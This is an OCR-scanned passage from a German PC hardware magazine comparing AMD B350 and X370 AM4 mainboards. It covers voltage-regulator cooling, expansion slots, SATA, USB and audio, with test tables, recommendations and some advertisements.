DDR4-2133-Profil erreichen dieses zum Teil nicht mal. Das ist schade, denn die Ausstattung des einzigen Voll-ATX-Mainboards im Test ist durchaus stimmig. 


Klassischer Klang 

Der ALC892 ist in die Jahre gekommen, 
wird von Biostar aber gerne in Kombina- 
tion mit soliden externen Komponenten 
verbaut. Das Ergebnis kann mit Gigabytes 
ALC1220-Lósung mithalten und bietet 
Vorverstárkung für Front- und Heckan- 
schlüsse. (siehe auch Z270GT6 auf S. 50) 


Heiße Spannungswandler 
Glatte 100 °C (bei 28 °C Umgebungstem- 
peratur) messen wir auf der Unterseite 
des B350GT5 im Bereich der Spannungs- 
wandler unter Volllast. Das System läuft 
dennoch stabil, aber Reserven für unbelüf- 


tete Gehäuse oder Übertaktung eines 
Ryzen 1800X fehlen. 


Bunte Mischung Onboard: Touch, PCI, RGB, einige SATA 
Kurios mutet die Bestückung des B350GT5-PCBs an. Auf der einen Seite finden sich RGB-Be- 
leuchtung und -Header, Touch-Schaltfláchen für Power und Reset sowie ein Dual-UEFI mit 

echter manueller Umschaltung. Auf der anderen Seite bleiben zwei SATA-Ports des B350 trotz 
vorhandener Lötstellen ungenutzt und PCI-Erweiterungskarten werden priorisiert. 


CPU zyklisch auf Minimalleistung 
heruntertakten und so die effek- 
tive Verlustleistung der Wandler 
begrenzen. Das System läuft zwar 
ohne Absturz weiter und außerhalb 
Prime-95-und-Wichter-2- 
Stresstests sollte durchgängig die 
volle Leistung bereitstehen. Für die 
Volllastmessung ist aber ein Zusatz- 
lüfter an den Spannungswandlern 


unseres 


nótig, was wir mit einer deutlichen 
Abwertung der Eigenschaftenno- 
te quittieren. Übertakten lassen 
sich mit der Serienkühlung des 
AB350-Gaming 3 also bestenfalls 
Sechskern-CPUs; mit einem Ryzen 
5 1600X messen wir auf der Rück- 
seite der Spannungswandler eine 
normierte Temperatur von ausrei- 
chenden 80 *C. 


RACING“ 


Baustelle: Der CPU-Multiplikator lässt sich beim B350GT5 erst seit der neuesten 
UEFI-Version ándern — über einen Custom-P-State und mit hexadezimaler Angabe. 
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PCI-Express 2.0 und 3.0 

Dieses Kühlproblem ist bedauer- 
lich, denn mit einem vorbildlichen 
Layout und guter Erweiterbarkeit 
hátte sich Gigabyte eigentlich eine 
Empfehlung verdient. Als einzi- 
ges Mainboard im Test kann das 
AB350-Gaming 3 zusätzlich zu ei- 
ner Triple-Slot-Grafikkarte noch 
eine PCI-Express-2.0-x1- und eine 
-x4-Karte aufnehmen. Alternativ 
zu Letzterer sind auch drei weitere 
x1-Karten möglich. Trotz zusätzli- 
cher Ressourcen sucht man derarti- 
ge Möglichkeiten selbst auf vielen 
X370-Mainboards vergeblich. 


Genauso raffiniert stellt sich eine 
Stufe tiefer Asrocks AB350M Pro4 
an: Obwohl die Micro-ATX-Platine 
mit einem Größennachteil ins Ren- 
nen geht, bietet sie Platz für eine x1- 
und eine x4-2.0-Erweiterungskarte 
zusätzlich zu einer Dual-Slot-Grafik- 
karte (PCI-Express 3.0 x16, wie bei 
allen Testkandidaten). Gleichzeitig 
bleibt im oberen Boardteil genug 
Platz für alle 120-mm- und viele 
140-mm-CPU-Kühler. Wird der x1- 
Slot nicht oder nur mit einer sehr 
kurzen Karte bestückt, passen so- 
gar 170 mm breite Boliden. 


Asus’ Prime B350-Plus und Bio- 
stars B350GT5 richten sich dage- 
gen eher an Besitzer alter Hard- 
ware. Beide Mainboards wandeln 
eine PCI-Express-2.0-Lane mittels 
PCI-Express-PCI-Bridge in zwei 
klassische PCI-Anschlüsse 
Für moderne Erweiterungskarten 
stehen so aber nur noch vier PCI- 
Express-2.0-Lanes des B350 zur 
Verfügung (die sechste ist für den 
Netzwerkcontroller reserviert), 
sodass die x4-Slots auf beiden Pla- 
tinen Ressourcen an die x1-Slots 
abtreten müssen, sollten diese ge- 
nutzt werden. 


um. 


M.2 und SATA 

Ein einheitliches Bild ergibt sich 
bei der Unterstützung moderns- 
ter SSDs: Alle Platinen verfügen 
über einen M.2-Slot, der mit vier 
PCI-Express-3.0-Lanes direkt an 
die CPU angebunden ist. Bei Asus, 
Asrock und Biostar ist dieser Slot 
unabhängig von anderen Onboard- 
Funktionen. Gigabyte hingegen er- 
laubt eine Umleitung der Ressour- 
cen zugunsten zweier zusätzlicher 
SATA-Anschlüsse und ist somit der 
einzige Hersteller im Vergleich, der 
die nativen SATA-Fähigkeiten der 
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Der PC, 
neu definiert. 


ONE 
SPIELEN 


ENTDECKEN 
ENTWERFEN 


Der Corsair ONE hebt schnelle, leise und 
elegante PCs auf ein ungeahntes Level. 

Er ist vollgepackt mit modernster sowie 
vollständig anpassbarer CORSAIR-Technologie 
und bietet echtes VR- und 4K-Gaming wo 
immer Sie wünschen. 


WWW.CORSAIR.COM/ONE 
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Heißes Eisen: Gigabytes Kühlkörper versteckt seine Lamellen vor dem Luftstrom, Tem- 
peraturen von über 110 °C und Throtteling sind bei Ryzen-7-1800X-Volllast die Folge. 
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Die LEDs des dem B350GT5 beiliegenden Lüfters werden über einen eigene 
5050-RGB-Anschluss gesteuert und sind selbst in heller Umgebung gut sichtbar. 


n 


Ryzen-CPUs nutzbar macht. Warum 
man den schnellen M.2-Slot für die 
beiden alten, langsamen Schnitt- 
stellen deaktivieren wollen sollte 
und wieso Gigabyte nicht einfach 
alle SATA-Ports des B350 nutzt, 
kónnen wir aber nicht erklären. 
Zumindest befindet man sich in 
guter Gesellschaft, denn das volle 
Sechser-Kontigent ist nur bei Asus 
aktiv, während Asrock und Biostar 
sich auf insgesamt vier Anschlüsse 
beschränken. Das verwundert be- 
sonders beim AB350M Pro4, denn 
über einen Steckplatz für SATA- 
M.2-SSDs akzeptiert dieses durch- 
aus weitere Laufwerke. Obwohl der 
SATA-M.2-Slot nur drei Zentimeter 
von den brachliegenden Ports des 
B350 entfernt ist, teilt er sich seine 
Anbindung aber mit zwei norma- 
len SATA-Anschlüssen. 


Peripherie: Audio und USB 
Weniger Verschwendung gibt es 
bei den USB-Ressourcen. Alle Her- 
steller bieten sechs bis acht An- 
schlüsse am I/O-Panel einschließ- 
lich mindestens drei USB-3.X-Ports 
nebst zusätzlichen Front-Panel- 
Headern. Ähnlich wie schon beim 
X370 Killer SLI spricht Asrock dem 
AB350M Pro4 aber 3.1-Geschwin- 
digkeit ab, obwohl ein passender 
Controller im B350 integriert ist 
und dessen Datenleitungen auch 
genutzt werden. Während wir 
beim X370-Modell in der letzten 
Ausgabe trotzdem reale Transfer- 
raten weit über den Möglichkei- 
ten von USB 3.0 gemessen haben, 
hält sich das AB350M Pro4 an die 
niedrigen Hersteller-Angaben: Un- 
abhängig von UEFLEinstellungen 
und Treibern schafft kein einziger 
Anschluss mehr als 340 MB/s. 


Ebenfalls wenig ^ Begeisterung 
weckt Asrocks Audiosektion, die 
ausschließlich die integrierten 
Funktionen von Realteks altem ALC 
892 nutzt. Biostar verbaut den glei- 
chen Codec, wertet ihn aber mit 
einer eigenen Verstärkerschaltung 
für Front- und Heckanschlüsse auf, 
was ein subjektives Klanggefühl auf 
dem Niveau von Gigabytes topaktu- 
ellem ALC1220 ermöglicht (s. auch 
Onboard-Sound-Vergleich ab Seite 
50). In die Gegenrichtung setzt 
sich Asus’ noch älterer ALC887 ab. 
Hier geht man offensichtlich davon 
aus, dass Käufer eines Mainboards 
mit PCI-Slots ohnehin eine alte 
Soundkarte nutzen wollen. 


Empfehlungen 

Insgesamt schafft es Asus’ Prime 
B350-Plus dennoch auf Platz 1 un- 
seres B350-Vergleiches. Vor allem 
die am wenigsten schlechte Span- 
nungswandlerkühlung und das bis 
auf den knappen Vcore-Regelbe- 
reich gute UEFI heben es von der 
Konkurrenz ab. Sonst macht Asus 
vor allen Dingen eines: keine Feh- 
ler. Alle Mindestanforderungen 
werden erfüllt, keine Ressourcen 
bleiben ungenutzt, die Leistungs- 
werte liegen meist auf oder sogar 
knapp vor dem Niveau der besten 
Konkurrenz und auch der Preis ist 
mit 95 Euro ein faires Angebot. 


Wählt man stattdessen Asrocks 
AB350M Pro4, so verzichtet man 
unter anderem auf PCI-Slots, zwei 
SATA-Anschlüsse und die Mög- 
lichkeit zur Kombination von 
Triple-Slot-Grafik- und x4-Erweite- 
rungskarte. Außerdem werden die 
Spannungswandler etwas wärmer. 
Wenn man sich auf Dual-Slot-GPU- 
Kühler beschränkt, winken aber 
für AM4-Verhältnisse sehr gute Er- 
weiterungsmöglichkeiten, der On- 
board-Sound ist zumindest einen 
Tick moderner als bei Asus und das 
Gesamtpaket schön kompakt. Bei 
der Leistung wirbelt das AB350M 
Pro4 unser Wertungssystem etwas 
durcheinander: Zum Stichtag An- 
fang April bot Asrock (entgegen 
der AMD-Vorgaben) als einziger 
Hersteller bereits ein UEFI mit AGE- 
SA1.0.0.4. Laut Ryzen-5-Test (ab Sei- 
te 34) soll AMDs neuer Microcode 
leichte Leistungsvorteile bringen, 
in unserem Falle brach die Kopier- 
rate mit AIDA64 aber deutlich ein. 
Wir führen die Leistungstests des- 
wegen mit einem veralteten UEFI 
durch und bescheinigen Asrock bei 
AGESA-Gleichstand annähernd die 
gleiche Leistung wie dem Asus-Test- 
sieger. Wirklich stórend sind bei 
Asrock somit nur die fehlenden Lüf- 
teranschlüsse, die Verschwendung 
von zwei SATA-Ports des B350 und 
vor allem die fehlende Unterstüt- 
zung für USB 3.1. Der niedrige Preis 
macht das B350 Pro aber trotz 
des verschenkten Potenzials zum 
interessantesten Teilnehmer dieser 
Preis-Leistungs-Marktübersicht. 


Ähnlich einseitig, aber mit einem 
anderen Fazit präsentiert sich Gi- 
gabytes AB350-Gaming 3. Dank 
des größzügigeren ATX-Formates 
ist das Layout sogar noch bes- 


www.pcgameshardware.de 


STEREO HEADSET 


ELEGANTER WEGBEGLEITER 


Außen ist es zeitlos-modern und tiefschwarz. Im 
Inneren überzeugt es mit brillanten Höhen und 
sonoren Bássen. Das B1 von Sharkoon ist ein 
eleganter Wegbegleiter, der nicht nur bei der 
taktischen Kommunikation mit dem Team Akzente 
setzt. Dank abnehmbarem Mikrofon und TRRS-An- 


schluss wird es im Handumdrehen zum Kopfhörer, 
der sich bequem an Smartphone, Notebooks und 
Ultrabooks sowie die Controller der aktuellen 
Konsolengeneration anschließen lässt. Durch sein 
robustes Hardcase lässt sich das В1 zudem 
jederzeit sicher und repräsentativ verstauen. 


4harkoon 


www.sharkoon.de 
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Test in PCGH 05/2017 


Test in PCGH 05/2017 


Test in PCGH 05/2017 


Test in PCGH 05/2017 


Test in PCGH 05/2017 


SOCKEL-AM4- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien 


Produkt 


Hersteller 


Crosshair VI Hero 
Asus (www.asus.de) 


AX370-Gaming 5 
Gigabyte (www.gigabyte.de) 


X370 Xpower Gam. Titan. 


MSI (www.msi.com) 


X370 Killer SLI 


Asrock (www.asrock.de) 


Prime X370-pro 


Asus (www.asus.de) 


Preis/Preis-Leistungs-Verhàltnis 


Ca. € 260,-/ausreichend 


Ca. € 220,-/befriedigend 


Ca. € 310,-/ausreichend 


Ca. € 170,-/gut 


Ca. € 160,-/gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1582881 


www.pcgh.de/preis/1582173 


www.pcgh.de/preis/1580650 


www.pcgh.de/preis/1582146 


www.pcgh.de/preis/1582178 


V/O-Hub; UEFI-; Board-Revision 


AMD X370; 0902; 1.03 


AMD X370; F5D; 1.0 


AMD X370; 1.26; 1.1 


AMD X370; 1.63; 1.03 


AMD X370; 0504; 1.03 


Geháuse-Format; Hóhe x Breite 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 2,55 2,38 2,42 2,85 2,61 
Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 4x DDR4 
PCI-Express-Standard* 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 2.0/3.0/-/2.0/3.0/2.0/2.0 —/3.0/2.0/2.0/3.0/2.0/2.0 


PCI-E-CPU-Lane-Verteilungsoptionen* 


1x 16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


1x 16/-/-1x0/-/- oder -/x8/-/- 
IR8l-I- 


-/x16/-/-1x0/-/- oder -/x8/-/- 
Ix8l-I- 


-/x16/-/-/x0/-/- oder -/x8/-/- 
Ix8l-I- 


PCI-E-IOH-Lane-Verteilungsoptionen* 


x0/-/-/x0/-/x0/x4 oder x 1/-/- 
1х1/-1х11х1 


x0/-/-1x0/-/x0/x4 oder х0/—/—/х1/ 
-/x1/x2 oder х1/—/—/х1/—/х1/х1 


x1/-I-Ix1-/x1/x4 


x1/-I-Ix 1X 1x1 


-/-Ix0/x 1/-I1x0/x4 oder -/- 
1х1/1х1/—/х11х2 


ЅАТА 


8x 6 GBit/s (6x X370) 


8x 6 GBit/s (6x X370), 4 als 2x 
SATA-Express (PCI-Express 2.0 x2) 
nutzbar 


6x 6 GBit/s (6x X370) 


6x 6 GBit/s (6x X370) 


8x 6 GBit/s (6x X370) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 
42160/80/110 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x U.2 (deaktiviert 
ersten M.2) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110; 1x M.2 m-Key, 
PCI-E-2.0-x4, 42/60/80 (deaktiviert 
PCI-E-x4); 1x U.2 (deaktiviert ersten 
M.2) 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80; 1x M.2 m-Key, 
PCI-E-2.0-x2, 42/60/80; 


1x M.2 m-Key, PCI-E-3.0-x4, 
42/60/80/110 


Onboard-LAN 


1x Gigabit (Intel 1211-AT) 


2x Gigabit (Intel 1211-AT + Killer 
E2500) 


1x Gigabit (Intel 1211-AT) 


1x Gigabit (Intel 1211-AT) 


1x Gigabit (Intel 1211-AT) 


Wireless 


— (vorbereitet: M.2 e-Key, 
РСІ-Е-2.0-х1) 


— (vorbereitet: М.2 е-Кеу, 
PCI-E-2.0-x1, Antennenhalterung) 


Monitor-Anschlüsse 


HDMI 


HDMI/Display Port 


HDMI 


HDMI/Display Port 


USB extern/intern 


2x/1x USB 3.1 (davon x1 Typ-C 
extern/x1 USB-3.1-spezial-Front-Pa- 
nel-Header); 8x/2x USB 3.0; 4x/2x 
USB 2.0 


4x/0x USB 3.1 (davon x1 Typ-C 
extern); 6x/4x USB 3.0; 0x/4x 
USB 2.0 


2x/1x USB 3.1 (davon x1 Typ-C 
extern/x 1 USB-3.1-spezial-Front-Pa- 
nel-Header); 4x/4x USB 3.0; 3x/4x 
USB 2.0 


2x/0x USB 3.1 (davon х1 Typ-C 
extern); 6x/4x USB 3.0; 0x/5x 
USB 2.0 


2x/1x USB 3.1 (davon x0 Typ-C 
extern/x1 USB-3.1-spezial-Front-Pa- 
nel-Header); 6x/2x USB 3.0 (davon 
x1/x0 Тур-С); 0х/4х USB 2.0 


Legacy-Schnittstellen extern/intern 


PS/2-Maus-und-Tastatur-Combo-Port 


PS/2-Maus-oder-Tastatur-Flex-Port 


PS/2-Tastatur-Port; PS/2-Maus-Port; 
COM-Header 


PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


Sound-Chip 


Realtek "51220" 


2x Realtek ALC1220 


Realtek ALC1220 


Realtek ALC892 


Realtek "S1220A" 


Kopfhörer-Verstärker/DTS oder DDL/ 
wechselbarer OP-AMP 


Ja/nein/nein 


Nein/nein/nein 


Ja/nein/nein 


Nein/nein/nein 


Nein/nein/nein 


Audio-Aus-/Eingánge 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


7.1, optisch/1x Stereo 


Lüfteranschlüsse 


7x 4-Pin PWM 


8x 4-Pin PWM 


5x 4-Pin PWM 


5x 4-Pin PWM 


6x 4-Pin PWM 


Sonstige Ausstattung 


Statussegmentanzeige; Power- und 
Reset-Schalter; Clear-CMOS-Schalter 
am l/O-Panel; Regelbare RGB-Be- 
leuchtung; zwei Anschlüsse für 
RGB-LED-Streifen; Anschluss für 
Durchflussmesser; Anschluss für drei 
Temperatursensoren; Spannungs- 
messpunkte 


Statussegmentanzeige; Power- und 
Reset-Schalter; Clear-CMOS-Schalter; 
Dual-UEFI; Regelbare RGB-Beleuch- 
tung; je ein Anschluss für RGBW- 
und RGB-LED-Streifen; Anschluss 

für zwei Temperatursensoren; Span- 
nungsmesspunkte 


Statussegmentanzeige; Power- und 
Reset-Schalter; Clear-CMOS-Schalter 
am I/O-Panel; Regelbare RGB-Be- 
leuchtung; Anschluss für RGB-LED- 
Streifen 


Clear-CMOS-Jumper; Regelbare 
RGB-Beleuchtung; drei Anschlüsse 
für RGB-LED-Streifen 


Clear-CMOS-Jumper; Regelbare 
RGB-Beleuchtung; zwei Anschlüsse 
für RGB-LED-Streifen; Anschluss für 
Temperatursensor 


Beiliegend 


Eigenschaften (20 %) 
Abstand** CPU <> 1./2. RAM-Slot 


4x SATA-Kabel; HB-SLI-Brücke; 1x 
RGB-Verlängerungskabel; Handbuch 
Englisch 

1,96 

72/81 Millimeter 


4x SATA-Kabel; HB-SLI-Brücke; 2х 
Temperatursensor; 1x RGBW-Verlän- 
gerungskabel; Handbuch Deutsch 
1,87 

71/81 Millimeter 


6x SATA-Kabel; SLI-Brücke; 1x 
Y-RGB-Verlängerungskabel; Hand- 
buch Englisch 

2,19 

74/83 Millimeter 


2x SATA-Kabel; HB-SLI-Brücke; 
Handbuch Englisch 


1,86 
75/84 Millimeter 


4x SATA-Kabel; HB-SLI-Brücke; 
Handbuch Englisch 


1,87 
72/81 Millimeter 


Abstand** CPU <> 1./2. Spannungs- 
wandlerkühler 


76/74 Millimeter 


87/73 Millimeter 


81/63 Millimeter 


85/72 Millimeter 


100/80 Millimeter 


Abstand** CPU <> 1. PCI-E-x16 


84 Millimeter 


90 Millimeter 


97 Millimeter 


93 Millimeter 


87 Millimeter 


Abstand PEG 1 <> 2 


2 Slots 


2 Slots 


2 Slots 


2 Slots 


2 Slots 


CPU-Multiplikator/aktive Kernzahl/ 
Referenztakt 


Anheb- und absenkbar/einstellbar/ 
einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Anheb- und absenkbar/einstellbar/ 
nicht einstellbar 


Vcore adaptiv/Offset nach oben/nach 
unten/Vdroop-Gegenmaßnahme 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 1,7 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 1,8 Volt 


Nein/nein/nein/ja, konfigurierbar. 
Bereich: 0,9 bis 1,7 Volt 


Nein/ja/nein/ja, konfigurierbar. Be- 
reich: 0,9 bis 2,5 Volt 


Nein/ja/ja/ja, konfigurierbar. Bereich: 
0,8 bis 2,0 Volt 


SoC-/IOH-Spannung 


Einstellbar/einstellbar 


Einstellbar/nicht einstellbar 


Einstellbar/einstellbar 


Einstellbar/nicht einstellbar 


Einstellbar/einstellbar 


Maximal wählbarer Speichertakt 


DDR4-3200 


DDR4-3200 


DDR4-3200 


DDR4-3200 


DDR4-3200 


Maximale Speicherspannung 


2,16 Volt 


2,00 Volt 


2,00 Volt 


1,50 Volt 


1,80 Volt 


Lüftersteuerung 3-Punkt-Kurve konfigurierbar; CPU + | 5-Punkt-Kurve konfigurierbar; CPU + | 4-Punkt-Kurve konfigurierbar; CPU + | 4,5-Punkt-Kurve konfigurierbar; CPU |3-Punkt-Kurve konfigurierbar; CPU + 
weitere Lüfter; minimal 20% PWM ` weitere Lüfter; min. 0% PWM weitere Lüfter; min. 0% PWM + weitere Lüfter; min. 0% PWM weitere Lüfter; minimal 20% PWM 

Virtualisierung SVM/IOMMU Aktivierbar/aktivierbar Aktivierbar/aktivierbar Aktivierbar/- Aktivierbar/aktivierbar Aktivierbar/aktivierbar 

Stabilitáts- & Praxis-Probleme Keine Keine Keine Keine Keine 

Leistung (60 %) 3,19 3,28 3,34 3,31 3,43 

Realer Referenztakt (It. CPU-Z) 99,80 MHz 99,80 MHz 99,80 MHz 99,80 MHz 99,80 MHz 

Witcher 2 EE, 1080p, kein AA/AF 114,1 Fps 113,5 Fps 115,7 Fps 115,5 Fps 111,2 Fps 

Lightroom 5.6, Export 30 RAWs 121,9 Sekunden 121,2 Sekunden 121,6 Sekunden 122,1 Sekunden 121,7 Sekunden 

AIDA Memory Bench - Kopierrate 35.808 MB/s 35.321 MB/s 35.791 MB/s 35.658 MB/s 35.593 MB/s 

Boot-Zeit Desktop Windows 8.1 46,2 Sekunden 30,2 Sekunden 43,7 Sekunden 36,9 Sekunden 39,3 Sekunden 

Temp. Spannungswandler1/2/IOH*** |58/54/50 °C 79/46/44 °C 78/52/53 °C 76/67/53 °C 75/56/49 °C 


Stromverbr.**** Soft-Off/Leerl./Last*** 


FAZIT 


62 


3,2/53,2/344 Watt 


© Kühle Spannungswandler 
© AM3-Kühlerhalterung 


© Temperatursens.- & DFS-Anschl. 


Wertung: 2,81 


PC Games Hardware | 06/17 


1,5/51,5/344 Watt 


© 4x USB 3.1 
Q 2x Temperatursensor 
© Relativ kurze Bootzeit 


Wertung: 2,82 


1,1/48,9/353 Watt 


© Front-USB-3.1 
© Viel Platz für CPU-Kühler 
© Teuer 


Wertung: 2,93 


1,4/51,0/353 Watt 


© 2x M.2-m- & 1x -e-Key 
© HB-SLI-Brücke beiliegend 
© Kein PCI-Express x4 


Wertung: 2,93 


1,4/53,0/350 Watt 


© Front-USB-3.1 
© 1x Temperatursensoranschluss 
© GPU-Kühler verdecken Slots 


Wertung: 2,95 


www.pcgameshardware.de 


Testsystem: Ryzen 7 1800X, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Kingston DDR4-2400, ЕКІ Alpenföhn Brocken Eco bei 900 U/min. *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben l/O-Panel. PCI-E-Geschwindigkeitsangaben mit Ryzen-R7-CPU (Summit Ridge). Funktionsum- 


fang mit A-Serien-APUs (Bristol Ridge) ist reduziert. **Ab Sockel-Mitte. Nur Spannungswandlerkühlerteile >2,5 cm. ***Prime95 v25.6 + Witcher 2 Enhanced Edition maximierte Details, kein Ubersampling, Messung auf Platinenrückseite, normiert auf 20 °C Umgebungstemperatur. ****ganzes System mit Ryzen 7 1800X und MSI GTX 980 an 


Seasonic-80-Plus-Gold-Netzteil. 
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bild aber von der unzureichenden 
Spannungsversorgung beziehungs- 
weise deren Kühlung. So kann man 
das AB350-Gaming 3 eigentlich nur 
Bastlern „wärmstens“ empfehlen, 
die den Kühler tauschen möchten. 


ser zu bewerten als bei Asrock. 
Sound und Lüftersteuerung sind 
die besten im Test, Leistung und 
Anschlussanzahl lassen in dieser 
Klasse keine Wünsche offen, auch 
wenn der fünfte und sechste SATA- 
Port unnötigerweise Ressourcen 
mit dem M.2-Slot teilen. Gründlich 


das UEFI erschwert derzeit Über- Fazit Hardware 


taktungsexperimente. Trotz des gu- 
ten Onboard-Sounds und einigen 
Features aus höheren Preisklassen 
ist somit keine generelle Empfeh- 
lung möglich. Im Gegensatz zu Bio- 
stars Z270-Angeboten stimmt aber 
der Preis für das Bundle aus Board 


Nicht am falschen Ende sparen 

Der B350 wäre für viele Anwender aus- 
reichend, aber ohne Spannungswand- 
ler mit akzeptabler Wärmeentwicklung 
beziehungsweise Kühlung und mit nur 
teilweise ungenutzten Ressourcen er- 


Biostar B350GTS-kampreebentals gibt auch er kein gutes P-L-Mainboard. 


verhagelt wird das schöne Gesamt- 


mit Kühlungsproblemen, aber auch 


und RGB-LED-Lüfter. 


(tu) 


SOCKEL-AM4- 
MAINBOARDS 


Auszug aus der Testtabelle mit 
160 Wertungskriterien 


Hersteller 


Prime B350-Plus 


Asus (www.asus.de) 


Asrock (www.asrock.de) 


AB350-Gaming 3 
Gigabyte (www.gigabyte.de) 


=. 


Racing B350GT5 


Biostar (www.biostar-europe.com) 


Preis/Preis-Leistungs-Verhältnis 


Ca. € 95,-/gut 


Ca. € 85,-/sehr gut 


Ca. € 120,-/gut 


Ca. € 130,-/gut 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1582183 


www.pcgh.de/preis/1582198 


www.pcgh.de/preis/1582168 


www.pcgh.de/preis/1579988 


l/O-Hub; UEFI-; Board-Revision 


AMD B350; 0513; 1.05 


AMD B350; 2.0 (Benchmarks: 1.0); 1.01 


AMD B350; F5; 1.0 


AMD B350; B35AG314; 5.0 


Geháuse-Format; Hóhe x Breite 


ATX; 305 x 237 mm 


Micro-ATX; 244 x 244 mm 


ATX; 305 x 230 mm 


ATX; 305 x 244 mm 


Ausstattung (20 %) 3,59 3,61 3,12 3,20 

Speicherslots 4x DDR4 4x DDR4 4x DDR4 4x DDR4 

PCI-Express-Standard* -13.0/PCI/2.0/2.0/PCI/2.0 2.0/3.0/-/2.0 2.0/3.0/-/-12.0/2.0/2.0 2.0/3.0/-/2.0/2.0/PCI/PCI 
PCI-E-CPU-Lane-Verteilungsoptionen* |-/x16/-/-/-/-/- Be -Ix16i-I-IH-L- IX 16/-/-I-I-I- 
PCI-E-IOH-Lane-Verteilungsoptionen* — |—/—/-/x0/x4/-/x0 oder -/-/|-/x1/x2/-/x1 |х1/-/-/х4 ж 1/—/—/-/х4/х0/х0 oder x1/-/-/-/x2/x1/x1 |x0/-/-Ix0/x4/-I— oder x1/-/-/x1/x1/-/— 


SATA 


6x 6 GBit/s (6x B350) 


4x 6 GBit/s (4x B350) 


6x 6 GBit/s (4x B350; 2x CPU/APU) 


4x 6 GBit/s (4x B350) 


NVME, Anbindung*, Format 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80; 1x M.2 
m-Key, SATA, 30/42/60/80 (deaktiviert 2x SATA) 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80/110 
(deaktiviert 2x SATA) 


1x M.2 m-Key, PCI-E-3.0-x4, 42/60/80 


Onboard-LAN 


1x Gigabit (Realtek 8111H) 


1x Gigabit (Realtek 8111GR) 


1x Gigabit (Realtek 8118А5) 


1x Gigabit (Realtek 8111G) 


Wireless 


Monitor-Anschlüsse 


HDMI/Display Port/D-Sub 


HDMI/DVI-D/D-Sub 


HDMI/DVI-D 


HDMI/Display Port 


USB extern/intern 


2x/0x USB 3.1; 4х/2х USB 3.0; 2x/4x 
USB 2.0 


5x/2x USB 3.0 (davon x1/x0 Typ-C); 2х/5х 
USB 2.0 


2x/0x USB 3.1; 4x/2x USB 3.0; 1х/4х 
USB 2.0 


2x/0x USB 3.1 (davon x1 Typ-C extern); 
4x/2x USB 3.0; 0x/4x USB 2.0 


Legacy-Schnittstellen extern/intern 


PCI; PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


PS/2-Tastatur-Port; PS/2-Maus-Port; COM- 
Header 


PS/2-Maus-oder-Tastatur-Flex-Port 


СІ; PS/2-Maus-oder-Tastatur-Flex-Port; 
COM-Header 


Sound-Chip 


Realtek ALC887 


Realtek ALC892 


Realtek ALC1220 


ealtek ALC892 


Kopfhörer-Verstärker/DTS oder DDL/ 
wechselbarer OP-AMP 


Nein/nein/nein 


Nein/nein/nein 


Nein/nein/nein 


a/nein/nein 


Audio-Aus-/Eingánge 


7.1/Eingänge nur als Doppelbelegung 


7.1/Eingänge nur als Doppelbelegung 


7.1, optisch/1x Stereo 


7.1/Eingang x2 


Lüfteranschlüsse 


3x 4-Pin PWM 


2x 4-Pin PWM; 1x 3-Pin/4-Pin ohne PWM 


5x 4-Pin PWM 


4x 4-Pin PWM 


Sonstige Ausstattung 


Clear-CMOS-Jumper; Regelbare RGB-Beleuch- 
tung; 1 Anschluss für RGB-LED-Streifen; 


Clear-CMOS-Jumper; 2 Anschlüsse für RGB- 
LED-Streifen 


Status-LEDs; Clear-CMOS-Jumper; Dual-UEFI; 
Regelbare RGB-Beleuchtung; je ein Anschluss 
für RGBW- und RGB-LED-Streifen 


ower- und Reset-Schalter; Clear-CMOS-Jum- 
per; Dual-UEFI; Regelbare RGB-Beleuchtung; 
2 Anschlüsse für RGB-LED-Streifen; 


Testsystem: Ryzen 7 1800X, Palit GTX980 Ti Superjetstream 110% powertarget, 91°C temptarget; 2x 8 GiB Kingston DDR4-2400, ЕКІ Alpenföhn Brocken Eco bei 900 U/min. *ATX-Slot-Positionen 1/2/3/4/5/6/7, beginnend mit erster Öffnung neben I/O-Panel. PCI-E-Geschwindigkeitsan- 


Beiliegend 2x SATA-Kabel; Handbuch Englisch 2x SATA-Kabel; Handbuch Englisch 4x SATA-Kabel; 1x RGBW-Verlängerungska- |4x SATA-Kabel; Handbuch Englisch; 120-mm- 
bel; Handbuch Englisch GB-LED-Lüfter 

Eigenschaften (20 %) 2,43 2,82 3,05 3,02 

Abstand** CPU <> 1./2. RAM-Slot 72/82 Millimeter 73/82 Millimeter 74/83 Millimeter 76/85 Millimeter 

Abstand** CPU <> 1./2. Spannungs- — (24 mm flach) 85/70 Millimeter 91/- Millimeter 91/- Millimeter 

wandlerkühler 

Abstand** CPU <> 1. PCI-E-x16 89 Millimeter 95 Millimeter 97 Millimeter 92 Millimeter 

Abstand PEG 1<>2 — (nur ein PEG) — (nur ein PEG) — (nur ein PEG) — (nur ein PEG) 


CPU-Multiplikator/aktive Kernzahl/ 
Referenztakt 


